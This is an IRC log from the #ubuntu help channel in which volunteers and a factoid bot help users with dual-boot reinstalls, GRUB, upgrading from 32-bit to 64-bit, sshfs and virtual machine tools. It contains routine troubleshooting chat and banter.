tgunrdr_willis: did you get my post about fixing the problem I had yesterday? it should be put in the bot here05:49
dr_willistgunr:  thers some way to submit factoids.. but i dont recall how05:49
kevdogYou went into the bios and made sure the sound card was turned on?  Or lets say when you booted the live CD -- did the audio work off the live CD?05:50
dr_willis!factoids05:50
ubottuHi! I'm #ubuntu's favorite infobot, you can search my brain yourself at http://ubottu.com/factoids.cgi | Usage info: http://ubottu.com/devel/wiki/Plugins | Bot channels and general info: https://wiki.ubuntu.com/IRC/Bots05:50
dr_willisnot sure of the factoid on submitting factoids. ;)05:50
lotuspsychjei did a factoid once05:50
dr_willistgunr:  you could post it on askubuntu.com05:50
tgunrI will repeat it FYI: Ubuntu 12.10 + Parallels 8 + Parallels Tools = FAIL05:50
lotuspsychjeits a kind of request 'text' for empty triggers05:50
tgunrAwesome, should have looked for such a site!05:51
* tgunr slaps his forehead05:51
dr_willisthey may even have a work around for  your issue.  ;P05:51
SuperLagtgunr: I get MUCH better mileage with VMware Fusion.05:51
tgunryeah, except i already paid for it05:51
tgunrare you running 12.10 on Fusion?05:52
SuperLagyes, as well as 13.0405:52
SuperLagthe beta 13.04, that is05:52
SuperLagit's not released yet05:52
tgunrInteresting, I may have to switch as this is very painful05:52
OweoqiIf anyone here is running Xubuntu are you able to confirm this? https://bugs.launchpad.net/ubuntu/+source/libxfce4ui/+bug/113104405:53
ubottuUbuntu bug 1131044 in libxfce4ui (Ubuntu) "Shortcuts such as Ctrl+F9 set but are unresponsive" [Undecided,New]05:53
tgunrI need to get 4 VM running here for a client test05:53
ax562I had a question05:53
ax562is there any ubuntu guru's in here?05:53
coldpizza72iwhats the button combination with a F key to pull up a shell05:53
SuperLagtgunr: I don't know if open-vm-tools will work with Parallels, or not... but that's what I had to do for 13.0405:53
SuperLagax562: Nope. None. None at all.05:53
ax562lol05:53
lotuspsychje!ask | ax56205:53
ubottuax562: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-) See also !patience05:53
ax562seriously though05:54
tgunrthanks, will check it out, starting day 3 of linux05:54
ax562OK05:54
SuperLagax562: and besides... you just wasted time by asking if you could ask. Just do it.05:54
SuperLagtgunr: never run Linux before?05:54
savagecroccrao05:54
tgunrnot for several years05:54
savagecroccrap05:54
savagecrocis this chatroom logged anywhere?05:54
savagecrocmy scroll back only goes 1000 lines05:54
Oweoqiyes05:54
ax562I'm running 32 bit ubuntu 11.04 and wanted to upgrade to the latest and greatest 64bit version05:54
tgunrI'm a Macintosh guy basically05:54
ax562I believe 12.10?05:54
SuperLagtgunr: I do 'em all.05:55
coldpizza72ihow can i get a shell with a function key05:55
lotuspsychjeax562: clean install to 64-bit05:55
savagecroctgunr: i never hear people say macintosh :)05:55
tgunrbe careful , u ptrading, has caused me much grief so far05:55
Oweoqiyeah 32bit is different arch05:55
tgunrIt's in my auto typer05:55
dr_williscoldpizza72i:  what? alt-ctrl-t gives a terminal window.05:55
ax562but my question is I have duo boot with windows and was wondering if I could format my existing partition and install on that?  Would I have a problem?05:55
savagecroctungr: macintosh makes me think of late 80's.. no idea why they called it that05:56
dr_williscoldpizza72i:  press and hold the super key for a list of keyboard shortcuts05:56
tgunrdownloaded the server version, will be trying that next05:56
kevdog@ax562 no -- not if you are careful to screw things up:)05:56
dr_willissavagecroc:  its a kind of apple....05:56
lotuspsychjeax562: i would singleboot ubuntu05:56
SuperLagtgunr: what exactly are you trying to do?05:56
savagecrocdr_willis: ahhh05:56
tgunrsavagecroc: start with serial# 1008 in 198405:56
kevdog@ax562 -- I'm dual booted right now -- I shrunk my windows partition on this notebook05:56
dr_willissavagecroc:  where do you think they got the 'Mac' name from .05:57
ax562I have WAY TOO MUCH on windows, my DAW is on there Pro Tools 8.0.3..I can't loose that05:57
tgunrtrying to get a client software to run for some testing05:57
itertgunr: macpaint ftw05:57
lotuspsychjeax562: many strong ubuntu packages out there to replace windows apps05:57
dr_willisDeluxe Paint on My Amiga.. :) was the bestest05:57
tgunrGod, loved MacPait, it was awesome at the time!05:57
ax562OK...so I could just format existing partition then?  What about my boot partition? Isn't that on the ext partition?05:57
lotuspsychjeax562: and you can always virtualbox a windows on ubuntu05:58
lotuspsychjedr_willis: lol amiga500 oldskool05:58
tgunrchessboard paint, just like in the cartoon!05:58
kubanchellow. Where is trash icon in ubuntu 12.10?05:58
tgunrkubanc: rm05:59
ax562I know there is alternatives but I've spent way too much time and money.05:59
dr_williskubanc:  you can get to the trshcak via the panel on the left side of the file manager window.05:59
dr_willis!trash05:59
ubottuYour GUI file manager's Trash folder is located at ~/.local/share/Trash/ for files moved to trash from your hard disk and .../.Trash-userid/ on external devices for files moved to trash from the device.05:59
ax562My real concern is that if I format I will mess up my boot manager and kill all partitions05:59
kevdog@ax562 -- you doing the install on the same hard disk?05:59
ax562yeah05:59
lotuspsychjedualbooting slows hd05:59
ax562I have a 160gb hd with 100gb windoze and the rest for swap and linux05:59
kevdog@ax562 -- go into windows and using the windows partition manager to shrink the windows partition (if you can) to leave unpartitioned space at the end of the drive06:00
ax562slows hd?  boot time?06:00
dr_willisi would have to see some benchmarks on that statement06:00
iterax562: it doesn't slow anything at all06:00
ax562I already have ubuntu and ext partition06:00
ax562@iter I agree06:00
kevdog@ax562 -- (Dont worry about that) -- Then use gparted to make format the unpartitioned space --06:01
coldpizza72iIs it possible to install plex without using a package manager06:01
cfhowlett... cocks a skeptical eyebrow.  slows boot?06:01
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ax562I could see boot time but thats all06:01
coldpizza72ipossible/easy06:01
dr_williscoldpizza72i:  go to the plex homepage and see what they got.06:01
lotuspsychjeclassic magnetic drives will be slower read speeds when more full06:01
dr_willissince plex runs as a service.. you insgtgall it system wide. not as a user as far as i know..06:01
ax562so where is the boot manager stored at?  it's own partition?06:02
kubancdr_willis, i cannot find trshcak in my panel06:02
dr_willislotuspsychje:  err.. that dosent make much sence06:02
coldpizza72idr_willis: what exactly would i be looking for? source download?06:02
dr_williskubanc:  look in the file manager windows left side panel. Not the unity panel06:02
kevdog@ax562 -- not sure what you mean ubuntu and ext partition --  You just made one big partition ext3/4?06:02
dr_williscoldpizza72i:  i just use their repositories/deb file i recall.06:02
lotuspsychjeanyway its offtopic so06:02
kubancdr_willis, ok, sorry for my laziness :)06:03
coldpizza72ican i install a deb without a package manager, dr_willis06:03
kevdogThe boot manager is going to be the first xxx bytes of the drive -- I dont remember the exact amount06:03
dr_williscoldpizza72i:  why would you want to? or think you can..06:03
ax562@kevdog I have duo boot ntfs/ext406:03
ax562so really I had two questions06:03
rj1hi...anybody here have tried installing cacti on ubuntu server 12.0406:03
coldpizza72idr_willis: im in a rush and dont have the time i need to fix my package manger problems06:03
kevdogYou could back up the first xxx  bytes to a file using the dd command.  Grub will overwrite the boot parition with its setup allowing you to choose to boot to ubuntu or windows06:04
dr_williscoldpizza72i:  look for a tar.gz i guess...06:04
ax5621. If I format my ubuntu ext4 partition using gparted boot disk, will I be able to boot windwos still and not mess up boot manager?06:04
dr_willisax562:  if thee grub boot files are on that partion. then grub wont work06:05
iterax562, you can boot to windows cd and run fixboot and fixmbr to recover those, as long as you haven't actually nuked the windows partition06:05
kevdog@ax562 -- just my style but I usually have at a minimum a / parition and a swap partition.  However usually I include a /boot and /home partition as well.  The /home partition is useful if you are going to be upgrading a lot.06:05
ubuntu471does anyone know how to get chrome to launch xchat as a default program once a url channel is clicked?  i seemed to mess up the default somehow...06:05
iterit SHOULD be safe to delete and reinstall the ubuntu partition but everyone is treating this with kid gloves because Bad Things Could Happen and they would rather you not lose data06:06
ax562hmmmmm06:06
dr_williswhen in doubt... BACKUP your data06:06
iter^^^06:06
ax562sounds like a few things can go wrong06:06
kevdog@ax562 -- yes you will be able to boot windows -- I essentially nuked the windows mbr when I installed linux (although I meant to back it up -- I missed that part).  Everythign is ok06:06
dr_willisa hard drive could die at any time... and ive seen them do it06:07
coldpizza72idr_willis: is there any viable options to stream hd without installing anything on my ubuntu machine (viable for a short term soltuion)? ...im not sure if any remote mounting would work..06:07
dr_williscoldpizza72i:  theres no default streaming services instgalled..06:07
ax562@all, i'm getting mixed answers06:07
dr_williscoldpizza72i:  samba is not instllaed by default either... or any other services that i know of.06:07
dr_williswell none that do what you need at least. ;)06:08
coldpizza72ii have an ssh server on it06:08
kevdog@ax562 -- there are no correct answers -- its just what you want to do06:08
dr_williscoldpizza72i:  sshfs is handy ;)06:08
dr_willis!info sshfs06:08
ubottusshfs (source: sshfs-fuse): filesystem client based on SSH File Transfer Protocol. In component main, is optional. Version 2.4-1ubuntu1 (quantal), package size 46 kB, installed size 132 kB06:08
ax562OK.  How would you jedi ubuntu knights do this then06:08
kevdogsshfs is awesome -- just my opinion.  Samba sucks.  nfs is another option06:08
Jacob_do evga motherboards work well w/ ubuntu06:08
ax562Upgrade ubuntu on existing partition without harming windows partition?06:09
dr_willisgiven the complexity of what samba is doing. it works quite well06:09
cfhowlettax562, I prefer the clean install method.  download iso, burn to usb, install. I have a /home partition ...06:09
holsteinax562: i dont so upgrades.. i backup my data and reinstall.. but if you dont harm the windows partition, it wont be harmed06:09
holsteindont do*06:10
iterax562: I assume you don't have an extra hard drive right?06:10
kevdog@ax562 -- what do you want to do?  Are you using ubuntu just temporarilty or is this the long haul.  A home partition is for the long haul.  If you are just playing around, I'd just do a / and swap parition with the swap partition 3x as big as my RAM (although everyone says 2x -- I've had my swap fill up when doing this to often)06:10
SerenE_SparKHow can we find class path in Ubuntu? i tried echo $CLASSPATH but there was no output06:10
holsteinnothing about an upgrade will change your windows partition, but you should have backups anyway for when that drive will fail06:10
coldpizza72idr_willis: do you think there will be any noticiable effects(like lag) from using sshfs as opposed to dlna/upnp06:10
surbsdoes anyone know how to trigger xchat from chrome? i seemed to have fudged the default application setting somehow...?06:11
dr_williscoldpizza72i:  no idea. iimagine your network will be the boottleneck06:11
dr_williscoldpizza72i:  all i stream is anime. ;)06:11
coldpizza72iits worth a try, thanks06:11
kevdogGrub will only overwrite the MBR at the front on the disk -- it will detect your windows parition automatically and add it to a line where you can choose the system you want to boot to06:11
coldpizza72i15MB/s upload is nice tho :)06:11
ax562but I don't want to mess up grub so when I boot back after format not be able to boot windows and loose everything06:11
dr_willisax562:  if you reinstsll it will reinstall grub..06:12
kevdogsshfs encrypts data -- so yes it will probably be slower -- an unencrypted tunnel is probably faster06:12
holsteinax562: the upgrade doesnt mess up grub,.. you can always reinstall grub.. and your data should be backedup06:12
histokevdog: not it's not slower06:12
dr_williswonder if sshfs has a -Y option06:12
histokevdog: it also does compression I believe.06:12
ax562where is grub located? own partition?06:12
coldpizza72ii wish i had kvm/ip so i could fix my computer remotely06:12
dr_willisor some other local lan type options06:13
surbsadditionally, my apologies for double post* I switched to laptop so i could troubleshoot and recognize font change.06:13
holstein!grub | ax56206:13
ubottuax562: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)06:13
cfhowlettsurbs, settings > preferred applications ...06:13
holsteinax562: depends on where you put it..06:13
kevdogGrub is in the /boot tree06:13
histoSomeone would probably have to run speed tests but I doubt it would be slower.06:13
ax562would me being booted in ubuntu help?06:13
iterwell, grub is in the mbr too (if we are talking mbr disk here)06:13
ax562maybe I can check where it's at?06:13
holsteinax562: you'll have to boot ubuntu if you want to upgrade ubuntu06:14
kevdog@ax562 -- seriously -- youre decision is really how you want to partition your unallocated space.  Installing ubuntu on top of windows -- I've done this like 5 times06:14
surbscfhowlett, do not see that as an option.06:14
iterholstein: I think he wants to go 32bit to 64bit, right ax562 ?06:14
holsteinax562: you just upgrade.. and grub will be upgraded as well06:14
ax562I originally installed ubuntu 9.9? because I couldn't duo boot with grub/boot manager...06:14
iterif that's the case you need to do a clean install from cd06:14
dr_willis32bit to 64bit - requires a clean install06:15
holsteinax562: 9.04 or 9.1006:15
histoax562: I'm sorry what's the problem? I wasn't paying attention?06:15
kevdog@ax562 -- I've dual booted with windows for like the last 3 years maybe 4 -- with grub(1) and grub206:15
ax562then I upgraded using ubuntu software center or upgrade whatever it's called to 11.10 so i think I have 9.9 boot manager06:15
dr_willis9.x used grub also06:15
cfhowlettsurbs, I don't know where, but I promise you have it ... ask in channel how set this06:15
ax562sorry 9.1006:15
holsteinax562: you can look and see, but its all grub, and grub gets upgraded with upgrades06:16
dr_willisi was thninkig when the change from grub1 to grub2 happened  it dident upgrade to grub2 by default.06:16
dr_willisbut thats been ages ago06:16
surbscfhowlett, what do you mean by "ask in channel how set this" ?06:16
dr_willis!grub206:16
ubottuGRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)06:16
kevdogThe only thing that sucks about system upgrades -- is that sometimes things get broken -- this has happened to me.  I usually just reinstall the upgraded OS.  If you have /home on the same partition as /, then /home gets overwritten during new installation06:17
cfhowlett#ubuntu how to find "Preferred Applications" settings ????06:17
ax562my problem, I believe, is I have to format ext4 partition to clean install on that, so I'm scared when I do that I will mess up grub.06:17
dr_willisax562:  sif you do you fix grub....06:18
dr_willisits not like its rocket-surgery ;)06:18
holsteinax562: and you will have all your data backed up anyway06:18
kevdogI do all my partition using gparted -- if gparted can see your patitions -- it shouldn't mess things up06:18
ax562ok, well i guess it's a crap shoot then06:18
kevdogI doubt your MBR has been messed up06:19
ax562so where is grub stored?06:19
ax562no, everything is ok now06:19
cfhowlettax562, even if grub wiped your boot, windows would still be there.  REpairing windows boot is easy06:19
dr_willisgrub support files are on /boot/ it installs to the mbr of the hd06:19
ax562I probably have old grub, grub106:19
holsteinax562: no. its not.. if you want to replace your linux install, you can remove it, and when you reinstall, grub will automatically installl again06:19
dr_willisgrub shows a version # when it loads up06:19
holsteinax562: you can check and see what version you have06:19
iterax562: http://en.wikipedia.org/wiki/GNU_GRUB#Boot_process06:19
holsteinax562: the links to the grub wiki talk about how to recover grub, if you need06:20
kevdogcan you still boot windows?06:20
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kevdogIf you can -- mbr isn't messed up06:20
ax562thanks for the links06:20
ax562I know if something break you can fix it most of the time06:21
ax562but what I'm trying to avoid is breaking it from the start06:21
ax562;)06:21
dr_willisif you clean install it will reinstall grub06:21
iterax562: do you have data on the ubuntu partition you care about?06:21
ax562not really, a few android rom's, kitchen, apps nothing special06:22
kevdogYou know you can just reformat you linux paritions again right?06:22
ax562that's what im going to do06:22
iterax562: if you don't care about the data, boot from new ubuntu cd and just install as usual06:22
ax562but thats why i'm asking if I do that will it break other partition or grub06:22
kevdogdont reformat the windows partion -- you'll just F**K things up then :)06:22
iterjust be careful not to delete your windows partition06:22
iterand you'll be good06:23
iterit should not break your windows nor your grub06:23
ax562I tried that when I first installed 9.1006:23
kevdogI think gparted from live cd06:23
kevdogis ok06:23
histoax562: is the whole point of this just to upgrade?06:23
ax562ubuntu partition manager BLOWS!06:23
histoax562: you can upgrade from 9.10 using old-releases06:23
ax562it wouldn't partition anything right06:24
iterhisto: he's going 32->64bit, new install necessary06:24
ax562I was trying 11.10 at the time06:24
histoahh06:24
kevdogEverytime I upgrade something gets screwed06:24
dr_willis9.10 is 3+ yrs old... a lot has changed.06:24
iterax562: no repartitioning necessary, you have already created the partitions06:24
ax562so I had to first partition using gparted, format ext4 and swap partitions06:24
* dr_willis thinks he could have allrady been reinstalled by now06:24
iterlol yep06:24
histoax562: Linux changes rapidly it's actively developed unlike windows. So something from 3 years ago on a desktop machine is rather old.06:24
histoax562: If you had a server install you wouldn't notice many changes but a lot of the desktop apps are developing rapidly.06:25
ax562then use ubuntu install disk 9.10 (11.10 would not install grub right) to install06:25
* kevdog Yes it could have been all done by now06:25
cfhowlett... thinks a quick backup of critical data to a usb and then wipe/install a CURRENT version is adviseable ...06:25
histoax562: Why are you trying to install 11.10?  Why not a more  recent version like 12.04 which is LTS Long Term Support    or 12.10 which is the current dev release.06:26
kevdog@cfhowlett -- agree 100%06:26
cfhowletthisto, the logic ... my head ...06:26
histoax562: I agree backup whatever stuff you want to keep from /home/ax562  and then install a newer version. Would be easiest for you.06:26
histopeople really like to create their own problems don't they.06:27
ax562OK, so you guys are saying all I have to do is boot newest distro and it will format my existing partitions?06:27
ax562histo, you are really late in this conversation06:27
kevdogLike my own problem -- not upgrading from 11.10 -- I'm scared and I've got everything configured the way I like it!!06:27
cfhowlettax562, you can selectively choose which partitions get formatted06:27
iterax562: just don't format your windows partition06:27
kevdogrsync is great for backups btw -- I'm a fan06:28
ax562I had HUGE problems with stock ubuntu partition manager previously and 11.10 grub2? wouldn't install at all06:28
kevdogmaybe a bad burn or bad md5 checksum?06:28
ax562I had to start from 9.10 and upgrade to 11.04 after I used gparted (remembers the huge headache it caused..yuk)06:29
histokevdog: I use rsync in a cron job on remote computers for offsite backup... Carbonite can suckit06:29
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ax562OK, so grub1 to grub2 won't be a problem even if i'm groing from 32 to 64 bit?06:30
kevdogI'd like to do the offsite backups to an encrypted partition on the remote site using a combination of ssh/rsync and I guess a jailkit -- I haven't cracked how to set up this nut yet06:30
dr_willisyou will be REINSTALLING grub it willbe grub206:30
ax562and thank you for all the help guys!06:30
iterax562: you can run grub-install -v to show grub version06:30
kevdog@ax562 -- Good luck --06:30
ax562@dr_will so no problem from grub32bit to grub2 64bit?06:31
kevdog@ax562 -- glad its not me !!! Ok that was a joke06:31
histoax562: no it won't be a problem06:31
dr_willisax562:  that fact it has grub1 on it now  means nothing... you will be instgalling grub2 over whatever is there.06:31
ax562ok gotcha06:31
histokevdog: it's not really that hard.06:31
ax562ok now second question lmfao!06:31
histokevdog: just setup each component individually and test then cron them all06:32
ax5622. When installing a new 64 bit distro, will not having an ethernet connection or any internet connection be a problem?06:32
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ax562during install06:32
cfhowlettax562, probably not but possibly.  fully dependent on the hardware.06:33
dr_willisrun a wire ;) it can then auto-get all updates as it installs06:33
dr_willisand extra thangs06:33
kevdogI don't know how to set up the linux jail because I think I need something more than the openssh jail right??  and not sure what encryption method I should use on the remote end.  By dream is multiple users with encrypted home directed so think of some file based encryption scheme like encyfs06:33
ax562I have a wifi connection only available but not sure if install disk will pick that up...so not sure if it will cause problems06:33
dr_willisax562:  try the live cd and see if it sees the network.,...06:33
dr_willis12.10 is a dvd by the way. ;) no longer a cd06:34
ax562so no internet connection = no ubuntu install?06:34
cfhowlettax562, if not, if you have a broadcom wifi, you can install the drivers from the iso.  I did so yesterday ... 5 minutes with the terminal.06:34
kevdogYes -- wireless might work -- I've had it work -- but I've also had it not work -- 64 bit libs are even a bit dicier -- not as well supported06:34
dr_willisax562:  no one said that..06:34
dr_willisax562:  that instalelr can install updates as it installs and save time06:35
ax562it was a question06:35
kevdogreally a DVD?? noi kidding06:35
dr_willis12.10 has gon beyond the cd size limit..06:35
ax562F@CK do i even have dvd's anymnore smh06:35
kevdogno you can install without any internet -- however if you have any hardware issues -- you're possibly hosed06:36
dr_willismost people use usb flash anyway06:36
ax562this is why most are not on ubuntu06:36
cfhowlettax562, you don't NEED a dvd, just use a USB06:36
dr_willisax562:  lets see.. dvds are how common these daya?06:36
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kevdogI've rolled one of my machines to arch -- don't have to worry about upgrading then06:36
dr_willisand USB flash drives are like $5 for a 2gb one...06:36
ax562don't get me wrong I LOVE LINUX AND UBUNTU, android sparked the love06:36
iterkevdog: you don't worry about upgrading arch!?!06:37
kevdogrolling release06:37
iterthey take pride in breaking your ish with upgrades06:37
dr_willis;)06:37
kevdogprobably will happen no doubt06:37
ax562but the headaches just to get this thing running...ay ya yai06:37
kevdogespecially with the freakin AUR06:37
dr_willisax562:  put iso on usb with the rigth tool.. boot.. instgall... 20 min later done...06:38
kevdog@ax562 -- see you just have to do it a few times and then after banging your head and learning -- its no big deal then06:38
MatthewLWhy is #Ubuntu the most popular channel on free node?06:38
kevdogit is?? news to me06:38
iterbecause #gentoo is for ricers?06:38
iter:p06:38
ax562@dr you know the size?  I only have 1 gb flash drive and maybe a dvd disk somewhere in the attic06:38
dr_willisBecause we dont charge for Awsome..06:38
dr_willisax562:  no  idea. i dont even carry anything less then a 8gb usb any moar06:39
cfhowlettthey just how we roll06:39
MatthewLAgreed, Dr_willis06:39
dr_willisany 1gb usb would be so old.. and slow comapred to newer ones i imagine...06:39
kevdog1gb flash -- no dvd -- you live in the hood?06:40
dr_willisand ive found older usbs more prone to booting issues06:40
ax562wow, so all in all, this is still a roll of the dice =(06:40
dr_willislubuntu 12.10 Might fit on a cd.. i havent looked.06:40
kevdogway to think optimistically -- and no everything should work06:40
dr_willisor just use 12.0406:40
kevdogHow about just installing the server edition and then upgrading to ubuntu-desktop -- would that would06:41
cfhowlettax562, I'm guessing you have an "older" machine?  xubuntu or lubuntu 12.04 might be best for you ..06:41
kevdogserver edition just a cd still?06:41
ax562LOL I do live in the hood, but I have a phone with 32gb sd card with ubuntu 10.10 and swap space so don't need flash drive06:41
cfhowlett!mini06:41
ubottuThe Minimal CD image is very small in size, and it downloads most packages from the Internet during installation, allowing you to select only those you want (the installer is like the one on the !Alternate CD). See https://help.ubuntu.com/community/Installation/MinimalCD06:41
dr_willisax562:  how old is your system> what cpu does it have?06:41
SoulShadowhas anyone gotten ubuntu installed on a clover trail tablet?06:41
tgunrjust downloaded the server iso, it is 678MB would barely fit on a CD06:41
cfhowlett!tablet|SoulShadow,06:41
ubottuSoulShadow,: The Ubuntu tablet can be discussed in #ubuntu-tablet or #ubuntu-discuss, please remember that #ubuntu is for support only.06:41
ax562my last 16gb was mistreated and broken by my ex friend06:41
* SoulShadow sighs06:41
SoulShadowcfhowlett: not the same tablet sorry06:41
SoulShadowbut thanks for being completely unhelpful06:42
kevdog@ax562 -- do you still have dialup?06:42
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ax562@kevdog, chill man06:43
kevdog@ax562 - - just checkin' :p06:43
dr_willisall tablet discussion is in #ubuntu-tablet and #ubuntu-arm06:43
ax562my system is a duo core 2 T7300 @2.0GHZ 4GBRAM DDR2 1.0FSB06:44
ax562that i bought by myself06:44
ax562not my mommy06:44
ax562and I live by myself06:44
cfhowlettTMI06:44
ax562with my son that I have full custody of06:44
kevdogage?06:44
ax562@kevdog06:44
ax562he's 506:45
kevdogno wait -- I don't want to know ---06:45
ax562If i could afford new pc I would get one man06:45
HHThi I'm running 12.04 and I can't seem to get "networking stop/waiting" to start06:45
kevdogyour rolling with a machine that's 5x newer than mine06:45
CivellaExcuse me, does Ubuntu go slower if you have two monitors going at once?06:45
ax562I'm just saying, you were talking it up06:45
dr_willisCivella:  the gpus are driving more data so it will be  a little slower.. depends on the details06:46
kevdogim bored06:46
deeZ84core 2 duos are only like 2008 right?06:46
ax562I bought brand new in summer 0706:46
ax562last year was my upgrade year andd crash, life gave me a cick in the nads06:46
CivellaYeah, this little laptop probably can't handle this 25" monitor too. But it takes longer to open up applications, so it's kind of ruining my experience. This is also my first time on any linux distro.06:46
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kevdoglinux is perfect for old hardware06:47
ax562yeah, but I'm running xp also06:47
deeZ84not incredibly old, im running arch linux distro on a celeron box cause its so old06:47
CivellaI just timed it, it takes roughly 4-5 seconds to open up an application.06:47
cfhowlettax562, lubuntu or xubuntu ... look into it06:47
kevdogceleron -- oh that's nice06:47
deeZ84haha it was free06:47
ax562I produce/mix/master and I have about 30,000 dollars worth of xp software that I do not want to lose, that is the reason i'm being very careful06:47
dr_willisCivella:  its not the size.. its the res that matters i imagine. ;) ive done netbooks + external displays just fine06:48
deeZ84my pops was about to throw it away06:48
ax562I run xubuntu on my droid bionic06:48
kevdog@ax562 -- this is a desktop right?06:48
iterax562: what's the goal here w/r/t upgrading?06:48
kevdog@deeZ84 -- perfect for server06:48
ax562no laptop06:48
dr_willisax562:  then you should have that HD cloned and backuped seval times.. a HD CAN die at any time...06:48
iterax562: why not just upgrade to the latest 32bit release?06:48
ax562deving from source06:48
cfhowlettax562, then I seriously suggest you take a look at linux for creative humans : Ubuntu Studio06:49
Civelladr_willis: I'll turn the res down since it's at 1920xXXXX at the moment.  I'll see if it helps at all.06:49
ax562I write code for shits and giggles06:49
cfhowlettax562, built on top of xubuntu .... should run great for your system06:49
kevdog@ax562 -- I'd really install on another hard-drive -- and you sure your machine is 64 bit ready -- sounds like a 32 bit install to me06:49
deeZ84@kevdog i just finished installing arch linux on it i prob will use it as a server06:49
ax562no duo core06:49
ax56264bit compatible06:49
kevdogdeeZ84 - that's a nice setup06:49
ax562but can't compile from source using 32bit ubuntu06:50
MatthewL!files06:50
ubottuAn explanation of how files and directories are organized on Ubuntu, and how they can be manipulated, can be found at https://help.ubuntu.com/community/LinuxFilesystemTreeOverview  see also: man hier06:50
ax562must be 64 bit06:50
deeZ84i like arch for old machines it runs fast makes me feel like its new technology lol06:50
Civelladr_willis: I just tried opening up an application after toning it down to 1366x768 and it was much quicker. I hope I don't run into anymore issues. Thanks.06:50
kevdog@deeZ84 -- using window manager?06:50
ax562anyone compile from source here?06:50
ax562android?06:50
deeZ84im trying out de KDE right now never used it before06:51
iterwhat are you building06:51
iterwe build sw all the time06:51
kevdog@deeZ84 -- wow that's heavy --06:51
kevdog@deeZ84 -- nothing like openbox I guess06:52
loneswordI did sudo apt-get install python-box2d-doc06:52
loneswordbox2d is working06:52
ax562I was trying to compile aosp and anything else android related06:52
MatthewLAx562: build Android love here06:52
loneswordbut any idea where i can find the docs?06:52
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deeZ84@kevdog im going to switch over to a windows manager but im really new to linux so the DE's make it easier for me06:52
deeZ84do you reccomend openbox?06:52
MatthewLUbuntu is great platform for that ax56206:52
ax562is 12.04 64bit or 12.10 64bit the way to go?06:52
loneswordax562, 12.1006:53
MatthewLEither way06:53
iterax562: if you are scared to reinstall, why not virtualize the latest and greatest06:53
ax562I created rom's for myself using kitchen but that is kids play stuff06:53
loneswordAnybody have any idea where the documentation of packages you apt-get go?06:53
MatthewLlol06:53
iterax562: install virtualbox, install clean version of OS in there, go nuts06:53
dr_willislonesword:  try /usr/share/docs06:53
kevdog@deeZ84 -- frankly its a pain in the ass at first but it runs really fast on old hardware -- so does e17, however until you get used to how those things work -- you'll hate them since they are not as full featured as gnome or kde -- however you might want to roll with xcfe since thats a good thing in the middle06:53
MatthewLWas just gonna say that06:54
ax562yeah but limited hw, so that will be slow as sh!t06:54
iterbut it will be non-destructive06:54
ax562true06:54
iterand since you have 30k of software and no backups....06:54
itershrug06:54
ax562no I will make back up before06:54
iteray ay ay06:55
deeZ84@kevdog i am playing around with a lot of distros and getting familiar with the command line ill try out XCFE next it was a pain installing arch linux at first but got it done finally lastnight06:55
ax562I have maxtor back up manager06:55
iternow you are just trolling us06:55
dr_willisi have to wonder why you dont allready have backups  ;)06:55
ax562basically uses linux on disk dd command lol06:55
ax562.bmr file though...wierd06:55
lonesworddr_willis, Found it. It wasnt exactly the documentation. Just the changelog and readme. Thanks anyway :)06:55
kevdog@ddZ84 -- arch is fun -- you learn a little bit more how to install things -- not as much hand holding06:55
ax562who's trolling?06:56
deeZ84@kevdog that is what i like about it, i am forced to learn with it06:56
IdleOneax562: Please keep the language clean06:56
kevdog>06:56
kevdog?06:56
ax562?06:56
iterax562: make backup, reinstall, restore if it didn't work. nuff said06:56
ax562things could still go wrong in all that06:57
kevdog@deeZ84 -- its no gentoo, but its still fun :p06:57
ax562I'm just being SUPER cautious06:57
CivellaHoly crap. Ubuntu is making me buffer videos A LOT quicker.06:57
lonesword?06:57
deeZ84@kevdog yeah i read gentoo is one of the hardest06:57
dr_willisnone are hard - if yiu learn the fundamentals06:58
iter^^06:58
loneswordAnd read the documentation :)06:58
iterall linux is the same06:58
ax562OK.  Last question and ill be out of your hair....06:58
kevdog@deeZ84 -- I'm probably not going to get around to trying gentoo or BSD anytime soon06:58
ben____Hi, i was wondering if it was possible to install ubuntu onto a old server? dell poweredge 84006:58
dr_willisecept for those weird Puppylinux and  TinyCore guys.. :)  the sickos06:58
ax562is 12.04 64bit or 12.10 64bit the way to go for compiling aosp from source?06:58
dr_willisax562:  i always use 64bit os on 64bit hardware06:59
cfhowlettben____, don't see why not ...06:59
loneswordTalking about tinycore. The farthest I got was to get a blue screen with a dock. I had no idea what to do from there!06:59
deeZ84@kevdog me either i am going to stick with arch as far as learning right now although i do run ubuntu on my laptop and linux mint on another home desktop so i have a lot going on arch is just my toy box setup right now06:59
loneswordPuppy was more, 'nice'!06:59
kevdogYou are going to cross compile for arm anyway right?? So does it really matter?06:59
ax562but wich version 12.04 or 12.10?06:59
dr_willislonesword:  you were done.. that was the whole OS..06:59
dr_willislonesword:  you then installed what youneeded06:59
lonesworddr_willis, Well, there wasn't a network manager or anything that lets you connect to the net right? So how was i supposed to get the install packages?07:00
dr_willislonesword:  they  have an icon for a network manager in the  menus and panel last i looked07:00
dr_willisor some sort of control-panel with one07:00
kevdoglonesword -- or just connect using a few command line statements07:00
* dr_willis recalls what someone said about reading docs...07:01
ben____I made a live cd of ubuntu but could not boot off of it.. running windows 7 on it currently07:01
lonesworddr_willis, Really? Maybe I should have looked harder. I remember tinycore not detecting my modem. I had a dsl connection07:01
surbsubuntu 12.04 LTS: prompted to launch xdg-open irc, have xchat installed, press launch application and nothing happens. ideas?07:01
dr_willisnever used dsl. so no idea on that07:01
histolonesword: you could configure the network manually.07:01
loneswordben____, you probably didn't change the boot priority of your BIOS07:01
ben____i did but i think it might have an out of date bios..07:02
histoben____: press F12 while your system boots and tell it to boot off the cd07:02
lonesworddr_willis, I was younger and lot more stupid back then07:02
kevdogben__: how about changing that nick out to something without lines?07:02
loneswordYups!07:02
ax562Which is better 12.04 64bit or 12.10 64bit for compiling aosp from source?07:02
loneswordben____, All bios can boot from a cd.07:02
wooDumb stuff is fun to do07:03
histoax562: What is aosp?07:03
